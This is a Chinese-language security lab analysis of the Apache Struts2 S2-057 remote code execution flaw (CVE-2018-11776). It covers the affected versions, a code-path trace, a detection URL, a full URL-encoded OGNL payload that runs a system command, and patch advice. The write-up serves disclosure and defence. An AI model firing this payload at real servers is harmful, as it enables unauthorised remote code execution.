前言
apache struts框架是一個(gè)基于 Java servlets,javabeans, 和 javaserver pages (jsp)的web應(yīng)用框架的開源項(xiàng)目,struts基于model-view-controller (mvc)的設(shè)計(jì)模式,可以用來構(gòu)件復(fù)雜的web應(yīng)用。它允許我們分解一個(gè)應(yīng)用程序的商業(yè)邏輯、控制邏輯和表現(xiàn)邏輯的代碼,使它的重用性和維護(hù)性更好。struts框架是jakarta工程的一部分,由apache軟件基金會(huì)管理。
天融信阿爾法實(shí)驗(yàn)室將為你帶來Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞分析~
一、?漏洞描述
當(dāng)struts.mapper.alwaysSelectFullNamespace設(shè)置為true,并且package標(biāo)簽頁(yè)以及result的param標(biāo)簽頁(yè)的namespace值的缺失,或使用了通配符時(shí)可造成namespace被控制,最終namespace會(huì)被帶入OGNL語(yǔ)句執(zhí)行,從而產(chǎn)生遠(yuǎn)程代碼執(zhí)行漏洞。
1. 受影響的系統(tǒng)版本
Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16
2. 漏洞編號(hào)
CVE-2018-11776
二、環(huán)境搭建
1.下載:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
2. 修改配置文件struts-actionchaining.xml
該漏洞有多種攻擊向量包括:
Redirect actionAction chainingPostback result
以第一種為例子,修改配置文件內(nèi)容為:
? ?
三、漏洞細(xì)節(jié)
在DefaultActionMapper這個(gè)類的parseNameAndNamespace方法里。
當(dāng)alwaysSelectFullNamespace被設(shè)置為true時(shí),namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的。
Action執(zhí)行結(jié)束之后,程序會(huì)調(diào)用ServletActionRedirectResult類中的execute()方法進(jìn)行重定向Result的解析。
首先,當(dāng)namespace為空時(shí),調(diào)用invocation.getProxy().getNamespace()賦值給變量namespace,然后將變量namespace傳入ActionMapping構(gòu)造函數(shù)中。
然后,ActionMapper.getUriFromActionMapping()對(duì)ActionMapping后的值進(jìn)行重組,生成一個(gè)URL字符串(包含namespace),并賦值給了tmplocation變量。
緊接著將帶有namespace的tmplocation傳入了setLocation()方法中。
該方法將tmpLocation值賦值給了StrutsResultSupport類中的location變量。
然后,跟蹤super.execute()方法。
繼續(xù)跟蹤ServletActionResult類中的super.execute()。
在StrutsResultSupport類中的execute()方法中,剛剛被賦值的location變量(帶有namespace的)被傳入了conditionalParse()方法。
最終,通過TextParseUtil.translateVariables()對(duì)namespace進(jìn)行OGNL解析,導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。
四、漏洞利用
1. 訪問url 為/${(111+111)}/actionChain1.action的地址。
訪問觸發(fā)OGNL表達(dá)式,url變?yōu)?222/register2.action,漏洞存在。
2. payload:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
此payload 僅適用于2.3系列版本。
五、修復(fù)建議
1. 官方補(bǔ)丁
目前官方已發(fā)布最新版本來修復(fù)此漏洞,受影響的用戶請(qǐng)盡快升級(jí)到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.CGI#struts2517。
2. 手工修復(fù)
修改配置文件:
固定package標(biāo)簽頁(yè)以及result的param標(biāo)簽頁(yè)的namespace值,以及禁止使用通配符。